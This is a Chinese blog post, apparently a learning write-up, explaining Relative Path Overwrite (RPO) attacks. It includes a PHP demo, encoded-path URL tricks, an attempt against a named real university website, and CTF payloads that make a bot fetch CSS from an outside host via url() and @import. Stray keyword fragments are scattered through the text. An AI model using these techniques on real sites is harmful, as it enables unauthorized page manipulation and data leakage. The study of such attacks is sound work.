最近見到幾個題,瞭解到一種攻擊方式,就是有RPO攻擊javascript
瀏覽器解析頁面路徑有誤而致使css文件加載路徑錯誤,從而引起的任意解析。php
引子:
1.在php有些框架中會有些pathinfo模式的url,就像http://localhost/index.php/home/user/login/var/value/ 若是此時頁面須要加載css,同時是以一個相對路徑進行加載,會出現什麼問題呢?css
2.有時url例如這樣http://test.com/a/b/c/d/e/f.html 的時候,若是
我訪問的是html
針對上面的問題,我簡單的寫了一個demon測試了一下java
php代碼api
<?php $path='http://localhost/hello/'?> <a class="navbar-brand" href="<?php echo $path?>url.php">三國殺</a> <li class="active" id='wei'><a href="<?php echo $path?>url.php/country/wei">魏</a></li> <li id ='shu'><a href="<?php echo $path?>url.php/country/shu">蜀</a></li> <li class="active" id='wu'><a href="<?php echo $path?>url.php/country/wu">吳</a></li> <link rel="stylesheet" href="./style.css" style="css" /> <?php $arr=isset($_SERVER['PATH_INFO'])?explode('/',trim($_SERVER['PATH_INFO'],'/')):null; //var_dump($arr); //echo $arr $value=''; for($_=0;$_<count($arr);$_+=2) { $value[$arr[$_]] = $arr[$_+1]; } $value['country']=isset($value['country'])?$value['country']:null; switch ($value['country']) { case 'wei': ?> <h1>welcome to 魏國!</h1> <?php break; case 'shu': ?> <h1>welcome to 蜀國!</h1> <?php break; case 'wu': ?> <h1>welcome to 吳國!</h1> <?php break; default: ?> <h1>welcome!</h1> <?php break; } ?>
style.css文件瀏覽器
h1 { font-size:180px; color:blue; }
注意這裏css文件加載是以一個相對路徑加載的服務器
<link rel="stylesheet" href="./style.css" style="css" />
框架
這裏傳參是利用/
來進行分割,發現直接打開頁面是沒有問題的。
xss
可是發現若是有傳參的話,就出現問題了。
是哪裏的問題?
在這裏瀏覽器誤覺得咱們參數的鍵/country/是一個實際的路徑,從而致使實際加載的css文件路徑就成了
http://localhost/hello/url.php/country/style.css
在這裏服務端收到的請求會認爲請求/country/style.css是一個鍵爲country值爲style.css的參數,從而返回頁面。
說究竟是要實際利用的,以前的例子只是說明了,咱們能夠打亂他的css的路徑使其不能正常顯示,那麼若是那個加載的css咱們能夠控制就行了,這裏就是用了一個小技巧,下面借鑑國外的一篇文章的分析
css文件路徑爲../../styles.css,URL寫爲
http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html
返回正確
服務器接收到的是/tools/toolbar/buttons/apis/howto_guide.html
瀏覽器接收到的是/tools/toolbar/buttons/apis%2fhowto_guide.html
頁面中導入的樣式表 爲/tools ~~/toolbar/buttons/../../~~ style.css
瀏覽器認爲style.css的根目錄是tools/toolbar/buttons
,而不是tools/toolbar/button/apis
因此../../style.css跳到了更高一級的目錄下
這個就比較有意思了,style.css是往上跳兩級,若是咱們在這兩級中加個/tools/toolbar/a/..%2fbuttons/apis/howto_guide.html這樣,服務器收到這裏的是/tools/toolbar/ a/../ buttons/apis/howto_guide.html至關於沒有加,可是瀏覽器依然覺得/..%2f和後面的是一個路徑這樣的話咱們就使加載的css文件是在一個咱們本身構造的文件夾a中了
這樣有啥子用處呢?
首先要了解的是,瀏覽器解析css文件是兼容性比較高的,他不去關注那些雜亂的字符,只要咱們能夠空出一行或者能夠分割雜亂字符就能夠了,好比asda{}body {background: url(./aaa.jpg);}asfa
這樣就能夠正確的加載。
其次,若是在網站裏還有一處評論留言 或者搜索能使頁面的部份內容是咱們能夠控制的話,咱們能夠構造css的語句,而後使加載的css文件能夠跳到這裏,即可以控制頁面css的樣式了。
下面舉一個例子,仍是學校的某處網站(http://xsc.cuit.edu.cn/WebSite/Web/SearchList-Title~111.html
)。
這裏的搜索的參數是直接在url的,我首先想了想若是咱們搜索a/c/這樣的話瀏覽器會不會認爲這都是路徑從而亂套啊,試了一下發現服務器考慮到這個問題,我輸入一個/他就會多跳一級。
(想了想這種方式仍是比較脆弱的,若是我是兩個連續的/瀏覽器並不會認爲這是兩級目錄,可是服務器卻會返回調兩級的地址。)
咱們這時候還須要找一個能夠插入payload的頁面http://xxxx/WebSite/Web/NewsList_Wyls.html
分析一下,咱們源頁面路徑是/WebSite/Web/SearchList-Title~111.html,如今須要跳轉到/WebSite/Web/NewsList_Wyls.html,若是把NewsList_Wyls.html當成目錄的話,那隻須要跳一級就能夠了,最後構造的url是http://xsc.cuit.edu.cn/WebSite/Web/NewsList_Wyls.html/..%2fSearchList-Title~33s.html
能夠看到具體加載的css文件成功的轉到咱們須要的頁面了
惋惜的是這裏並無成功渲染,我把加載的css源碼拖到本地執行,是有效的,不曉得爲啥子這裏就不行了。可是總的攻擊流程大概就是這樣。
最近有CTF就是利用的這個攻擊方式的,pwnhub上的那個流程和以前相似,最後就是在user頁面寫{}*{backgorund: url('http://ip:port');}而後構造好url提交給bot而後等bot訪問後加載css就ok了,說實話這種利用方式感受並無什麼實際的用處。
在http://117.34.111.15:3000,這道題中就比較有意思了,貼一下出題人的wp
思路至關能夠,差很少就是利用未閉合的單引號來包裹源碼,經過訪問的url讀取源碼。
這裏有些坑感受,因爲對css語法並非很瞭解,有空了在研究研究看看。
常見的能夠加載加載遠程文件的方法
{} @import url('http://1.2.3.4/');
或者加載背景
{}body {background: url(http://ip:port);}
以前看到能夠經過這種css的方式加載圖片background-image:url(data:image/gif;base64,R0lGODlhAQAcALMAAMXh96HR97XZ98Hf98Xg97DX97nb98Lf97vc98Tg973d96rU97ba97%2Fe96XS9wAAACH5BAAAAAAALAAAAAABABwAAAQVMLhVBDNItXESAURyDI2CGIxQLE4EADs%3D);
我想是否是能夠嘗試加載js代碼?
相似於data類型的地址有以下:
data:text/plain,<文本數據> data:text/html,<HTML代碼> data:text/html;base64,<base64編碼的HTML代碼> data:text/css,<CSS代碼> data:text/css;base64,<base64編碼的CSS代碼> data:text/javascript,<Javascript代碼> data:text/javascript;base64,<base64編碼的Javascript代碼> data:image/gif;base64,base64編碼的gif圖片數據 data:image/png;base64,base64編碼的png圖片數據 data:image/jpeg;base64,base64編碼的jpeg圖片數據 data:image/x-icon;base64,base64編碼的icon圖片數據
還有這樣javascript:alert('xss');
發現這樣並不會解析。
留着之後發現新姿式在利用吧。